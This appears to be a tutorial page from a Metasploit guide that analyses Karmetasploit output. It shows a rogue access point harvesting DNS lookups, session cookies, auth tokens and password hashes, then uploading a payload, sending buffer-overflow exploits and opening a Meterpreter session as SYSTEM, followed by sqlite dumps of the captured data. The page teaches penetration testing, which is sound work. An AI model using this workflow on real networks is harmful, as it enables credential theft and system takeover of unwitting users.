Attack Analysis a11y.text Attack Analysis Wow! That was a lot of output! Please take some time to read through the output, and try to understand what is happening. Letâ€™s break down some of the output a bit here. [*] DNS 10.0.0.100:1284 XID 92 (IN::A ecademy.com)

[*] DNS 10.0.0.100:1286 XID 93 (IN::A facebook.com)

[*] DNS 10.0.0.100:1286 XID 93 (IN::A facebook.com)

[*] DNS 10.0.0.100:1287 XID 94 (IN::A gather.com)

[*] DNS 10.0.0.100:1287 XID 94 (IN::A gather.com) Here we see DNS lookups occurring. Most of these are initiated by Karmetasploit in attempts to gather information from the client. [*] HTTP REQUEST 10.0.0.100 > gmail.google.com:80 GET /forms.html Windows IE 5.01 cook ies=PREF=ID=474686c582f13be6:U=ecaec12d78faa1ba:TM=1241334857:LM=1241334880: S=snePRUjY-zgcXpEV;NID=22=nFGYMj-l7FaT7qz3zwXjen9_miz8RDn_rA-lP_IbBocsb3m4eFCH6h I1ae23ghwenHaEGltA5hiZbjA2gk8i7m8u9Za718IFyaDEJRw0Ip1sT8uHHsJGTYfpAlne1vB8

[*] HTTP REQUEST 10.0.0.100 > google.com:80 GET /forms.html Windows IE 5.01 cookies=PREF=ID=474686c582f13be6:U=ecaec12d78faa1ba:TM=1241334857:LM=1241334880: S=snePRUjY-zgcXpEV;NID=22=nFGYMj-l7FaT7qz3zwXjen9_miz8RDn_rA-lP_IbBocsb3m4e FCH6hI1ae23g hwenHaEGltA5hiZbjA2gk8i7m8u9Za718IFyaDEJRw0Ip1sT8uHHsJGTYfpAlne1vB8 Here we can see Karmetasploit collecting cookie information from the client. This could be useful information to use in attacks against the user later on. [*] Received 10.0.0.100:1362 TARGET\P0WN3D LMHASH:47a8cfba21d8473f9cc1674cedeba0fa6dc1c2a4dd904b72 NTHASH:ea389b305cd095d32124597122324fc470ae8d9205bdfc19 OS:Windows 2000 2195 LM:Windows 2000 5.0

[*] Authenticating to 10.0.0.100 as TARGET\P0WN3D...

[*] AUTHENTICATED as TARGET\P0WN3D...

[*] Connecting to the ADMIN$ share...

[*] Regenerating the payload...

[*] Uploading payload...

[*] Obtaining a service manager handle...

[*] Creating a new service...

[*] Closing service handle...

[*] Opening service...

[*] Starting the service...

[*] Transmitting intermediate stager for over-sized stage...(191 bytes)

[*] Removing the service...

[*] Closing service handle...

[*] Deleting UxsjordQ.exe...

[*] Sending Access Denied to 10.0.0.100:1362 TARGET\P0WN3D

[*] Received 10.0.0.100:1362 LMHASH:00 NTHASH: OS:Windows 2000 2195 LM:Windows 2000 5.0

[*] Sending Access Denied to 10.0.0.100:1362

[*] Received 10.0.0.100:1365 TARGET\P0WN3D LMHASH:3cd170ac4f807291a1b90da20bb8eb228cf50aaf5373897d NTHASH:ddb2b9bed56faf557b1a35d3687fc2c8760a5b45f1d1f4cd OS:Windows 2000 2195 LM:Windows 2000 5.0

[*] Authenticating to 10.0.0.100 as TARGET\P0WN3D...

[*] AUTHENTICATED as TARGET\P0WN3D...

[*] Ignoring request from 10.0.0.100, attack already in progress.

[*] Sending Access Denied to 10.0.0.100:1365 TARGET\P0WN3D

[*] Sending Apple QuickTime 7.1.3 RTSP URI Buffer Overflow to 10.0.0.100:1278...

[*] Sending stage (2650 bytes)

[*] Sending iPhone MobileSafari LibTIFF Buffer Overflow to 10.0.0.100:1367...

[*] HTTP REQUEST 10.0.0.100 > www.care2.com:80 GET / Windows IE 5.01 cookies=

[*] Sleeping before handling stage...

[*] HTTP REQUEST 10.0.0.100 > www.yahoo.com:80 GET / Windows IE 5.01 cookies=

[*] HTTP REQUEST 10.0.0.100 > yahoo.com:80 GET / Windows IE 5.01 cookies=

[*] Uploading DLL (75787 bytes)...

[*] Upload completed.

[*] Migrating to lsass.exe...

[*] Current server process: rundll32.exe (848)

[*] New server process: lsass.exe (232)

[*] Meterpreter session 1 opened (10.0.0.1:45017 -> 10.0.0.100:1364) Here is where it gets really interesting! We have obtained the password hashes from the system, which can then be used to identify the actual passwords. This is followed by the creation of a Meterpreter session. Now we have access to the system, lets see what we can do with it. msf auxiliary(http) > sessions -i 1

[*] Starting interaction with 1...

meterpreter > ps

Process list

============

PID	Name	Path
144	smss.exe	\SystemRoot\System32\smss.exe
172	csrss.exe	\??\C:\WINNT\system32\csrss.exe
192	winlogon.exe	\??\C:\WINNT\system32\winlogon.exe
220	services.exe	C:\WINNT\system32\services.exe
232	lsass.exe	C:\WINNT\system32\lsass.exe

```
 284   firefox.exe        C:\Program Files\Mozilla Firefox\firefox.exe
 300   KodakImg.exe       C:\Program Files\Windows NT\Accessories\ImageVueKodakImg.exe
 396   svchost.exe        C:\WINNT\system32\svchost.exe
 416   spoolsv.exe        C:\WINNT\system32\spoolsv.exe
 452   svchost.exe        C:\WINNT\System32\svchost.exe
 488   regsvc.exe         C:\WINNT\system32\regsvc.exe
 512   MSTask.exe         C:\WINNT\system32\MSTask.exe
 568   VMwareService.exe  C:\Program Files\VMware\VMware Tools\VMwareService.exe
 632   WinMgmt.exe        C:\WINNT\System32\WBEM\WinMgmt.exe
 696   TPAutoConnSvc.exe  C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe
 760   Explorer.exe       C:\WINNT\Explorer.exe
 832   VMwareTray.exe     C:\Program Files\VMware\VMware Tools\VMwareTray.exe
 848   rundll32.exe       C:\WINNT\system32\rundll32.exe
 860   VMwareUser.exe     C:\Program Files\VMware\VMware Tool\VMwareUser.exe
 884   RtWLan.exe         C:\Program Files\ASUS WiFi-AP Solo\RtWLan.exe
 916   TPAutoConnect.exe  C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe
 952   SCardSvr.exe       C:\WINNT\System32\SCardSvr.exe
 1168  IEXPLORE.EXE       C:\Program Files\Internet Explorer\IEXPLORE.EXE

meterpreter > ipconfig /all

VMware Accelerated AMD PCNet Adapter
Hardware MAC: 00:0c:29:85:81:55
IP Address  : 0.0.0.0
Netmask     : 0.0.0.0
```

Realtek RTL8187 Wireless LAN USB NIC

Hardware MAC: 00:c0:ca:1a:e7:d4

IP Address : 10.0.0.100

Netmask   : 255.255.255.0

MS TCP Loopback interface

Hardware MAC: 00:00:00:00:00:00

IP Address : 127.0.0.1

Netmask   : 255.0.0.0

meterpreter > pwd

C:\WINNT\system32

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM Wonderful. Just like any other vector, our Meterperter session is working just as we expected. However, there can be a lot that happens in Karmetasploit really fast and making use of the output to standard out may not be usable. Letâ€™s look at another way to access the logged information. We will interact with the karma.db that is created in your home directory. Lets open it with sqlite, and dump the schema. root@kali : ~ # sqlite3 karma.db

SQLite version 3.5.9

Enter ".help" for instructions

sqlite> .schema

```
CREATE TABLE hosts (
'id' INTEGER PRIMARY KEY NOT NULL,
'created' TIMESTAMP,
'address' VARCHAR(16) UNIQUE,
'comm' VARCHAR(255),
'name' VARCHAR(255),
'state' VARCHAR(255),
'desc' VARCHAR(1024),
'os_name' VARCHAR(255),
'os_flavor' VARCHAR(255),
'os_sp' VARCHAR(255),
'os_lang' VARCHAR(255),
'arch' VARCHAR(255)
);
CREATE TABLE notes (
'id' INTEGER PRIMARY KEY NOT NULL,
'created' TIMESTAMP,
'host_id' INTEGER,
'ntype' VARCHAR(512),
'data' TEXT
);
CREATE TABLE refs (
'id' INTEGER PRIMARY KEY NOT NULL,
'ref_id' INTEGER,
'created' TIMESTAMP,
'name' VARCHAR(512)
```

```
);
CREATE TABLE reports (
'id' INTEGER PRIMARY KEY NOT NULL,
'target_id' INTEGER,
'parent_id' INTEGER,
'entity' VARCHAR(50),
'etype' VARCHAR(50),
'value' BLOB,
'notes' VARCHAR,
'source' VARCHAR,
'created' TIMESTAMP
);
CREATE TABLE requests (
'host' VARCHAR(20),
'port' INTEGER,
'ssl' INTEGER,
'meth' VARCHAR(20),
'path' BLOB,
'headers' BLOB,
'query' BLOB,
'body' BLOB,
'respcode' VARCHAR(5),
'resphead' BLOB,
'response' BLOB,
'created' TIMESTAMP
);
```

```
CREATE TABLE services (
'id' INTEGER PRIMARY KEY NOT NULL,
'host_id' INTEGER,
'created' TIMESTAMP,
'port' INTEGER NOT NULL,
'proto' VARCHAR(16) NOT NULL,
'state' VARCHAR(255),
'name' VARCHAR(255),
'desc' VARCHAR(1024)
);
CREATE TABLE targets (
'id' INTEGER PRIMARY KEY NOT NULL,
'host' VARCHAR(20),
'port' INTEGER,
'ssl' INTEGER,
'selected' INTEGER
);
CREATE TABLE vulns (
'id' INTEGER PRIMARY KEY NOT NULL,
'service_id' INTEGER,
'created' TIMESTAMP,
'name' VARCHAR(1024),
'data' TEXT
);
CREATE TABLE vulns_refs (
'ref_id' INTEGER,
```

'vuln_id' INTEGER

); With the information gained from the schema, letâ€™s interact with the data we have gathered. First, we will list all the systems that we logged information from, then afterward, dump all the information we gathered while they were connected. sqlite> select * from hosts;

1|2009-05-09 23:47:04|10.0.0.100|||alive||Windows|2000|||x86

sqlite> select * from notes where host_id = 1;

1|2009-05-09 23:47:04|1|http_cookies|en-us.start2.mozilla.com

__utma=183859642.1221819733.1241334886.1241334886.1241334886.1;

__utmz=183859642.1241334886.1.1.utmccn=(organic)|utmcsr=google|utmctr=firefox|utmcmd=orga

nic

2|2009-05-09 23:47:04|1|http_request|en-us.start2.mozilla.com:80 GET /firefox Windows FF

1.9.0.10

3|2009-05-09 23:47:05|1|http_cookies|adwords.google.com

PREF=ID=ee60297d21c2a6e5:U=ecaec12d78faa1ba:TM=1241913986:LM=1241926890:GM=1:S=-

p5nGxSz_oh1inss;

NID=22=Yse3kJm0PoVwyYxj8GKC6LvlIqQMsruiPwQrcRRnLO_4Z0CzBRCIUucvroS_Rujrx6ov-tXz

VKN2KJN4pEJdg25ViugPU0UZQhTuh80hNAPvvsq2_HARTNlG7dgUrBNq;

SID=DQAAAHAAAADNMtnGqaWPkEBIxfsMQNzDt_f7KykHkPoYCRZn_Zen8zleeLyKr8XUmLvJVP

ZoxsdSBUd22TbQ3p1nc0TcoNHv7cEihkxtHl45zZraamzaji9qRC-XxU9po34obEBzGotphFHoAtLxgT

hdHQKWNQZq

4|2009-05-09 23:47:05|1|http_request|adwords.google.com:80 GET /forms.html Windows FF

1.9.0.10

5|2009-05-09 23:47:05|1|http_request|blogger.com:80 GET /forms.html Windows FF 1.9.0.10

6|2009-05-09 23:47:05|1|http_request|care.com:80 GET /forms.html Windows FF 1.9.0.10

7|2009-05-09 23:47:05|1|http_request|0.0.0.0:55550 GET /ads Windows Firefox 3.0.10

8|2009-05-09 23:47:06|1|http_request|careerbuilder.com:80 GET /forms.html Windows FF 1.9.0.10

9|2009-05-09 23:47:06|1|http_request|ecademy.com:80 GET /forms.html Windows FF 1.9.0.10

10|2009-05-09 23:47:06|1|http_cookies|facebook.com

datr=1241925583-120e39e88339c0edfd73fab6428ed813209603d31bd9d1dccccf3;

ABT=::#b0ad8a8df29cc7bafdf91e67c86d58561st0:1242530384:A#2dd086ca2a46e9e50fff44e0ec48

cb811st0:1242530384:B; s_vsn_facebookpoc_1=7269814957402

11|2009-05-09 23:47:06|1|http_request|facebook.com:80 GET /forms.html Windows FF 1.9.0.10

12|2009-05-09 23:47:06|1|http_request|gather.com:80 GET /forms.html Windows FF 1.9.0.10

13|2009-05-09 23:47:06|1|http_request|gmail.com:80 GET /forms.html Windows FF 1.9.0.10

14|2009-05-09 23:47:06|1|http_cookies|gmail.google.com

PREF=ID=ee60297d21c2a6e5:U=ecaec12d78faa1ba:TM=1241913986:LM=1241926890:GM=1:S=-

p5nGxSz_oh1inss;

NID=22=Yse3kJm0PoVwyYxj8GKC6LvlIqQMsruiPwQrcRRnLO_4Z0CzBRCIUucvroS_Rujrx6ov-tXz

VKN2KJN4pEJdg25ViugPU0UZQhTuh80hNAPvvsq2_HARTNlG7dgUrBNq;

SID=DQAAAHAAAADNMtnGqaWPkEBIxfsMQNzDt_f7KykHkPoYCRZn_Zen8zleeLyKr8XUmLvJVP

ZoxsdSBUd22TbQ3p1nc0TcoNHv7cEihkxtHl45zZraamzaji9qRC-XxU9po34obEBzGotphFHoAtLxgT

hdHQKWNQZq

15|2009-05-09 23:47:07|1|http_request|gmail.google.com:80 GET /forms.html Windows FF 1.9.0.10

16|2009-05-09 23:47:07|1|http_cookies|google.com

PREF=ID=ee60297d21c2a6e5:U=ecaec12d78faa1ba:TM=1241913986:LM=1241926890:GM=1:S=-

p5nGxSz_oh1inss;

NID=22=Yse3kJm0PoVwyYxj8GKC6LvlIqQMsruiPwQrcRRnLO_4Z0CzBRCIUucvroS_Rujrx6ov-tXz

VKN2KJN4pEJdg25ViugPU0UZQhTuh80hNAPvvsq2_HARTNlG7dgUrBNq;

SID=DQAAAHAAAADNMtnGqaWPkEBIxfsMQNzDt_f7KykHkPoYCRZn_Zen8zleeLyKr8XUmLvJVP

ZoxsdSBUd22TbQ3p1nc0TcoNHv7cEihkxtHl45zZraamzaji9qRC-XxU9po34obEBzGotphFHoAtLxgT

hdHQKWNQZq

17|2009-05-09 23:47:07|1|http_request|google.com:80 GET /forms.html Windows FF 1.9.0.10

18|2009-05-09 23:47:07|1|http_request|linkedin.com:80 GET /forms.html Windows FF 1.9.0.10

101|2009-05-09 23:50:03|1|http_cookies|safebrowsing.clients.google.com PREF=ID=ee60297d21c2a6e5:U=ecaec12d78faa1ba:TM=1241913986:LM=1241926890:GM=1:S=-p5nGxSz_oh1inss; NID=22=Yse3kJm0PoVwyYxj8GKC6LvlIqQMsruiPwQrcRRnLO_4Z0CzBRCIUucvroS_Rujrx6ov-tXzVKN2KJN4pEJdg25ViugPU0UZQhTuh80hNAPvvsq2_HARTNlG7dgUrBNq; SID=DQAAAHAAAADNMtnGqaWPkEBIxfsMQNzDt_f7KykHkPoYCRZn_Zen8zleeLyKr8XUmLvJVPZoxsdSBUd22TbQ3p1nc0TcoNHv7cEihkxtHl45zZraamzaji9qRC-XxU9po34obEBzGotphFHoAtLxgThdHQKWNQZq

102|2009-05-09 23:50:03|1|http_request|safebrowsing.clients.google.com:80 POST /safebrowsing/downloads Windows FF 1.9.0.10

108|2009-05-10 00:43:29|1|http_cookies|x.com auth_token=1241930535--c2a31fa4627149c521b965e0d7bdc3617df6ae1f

109|2009-05-10 00:43:29|1|http_cookies|www.x.com auth_token=1241930535--c2a31fa4627149c521b965e0d7bdc3617df6ae1f

sqlite> Next MSF vs OS X Prev Karmetasploit in Action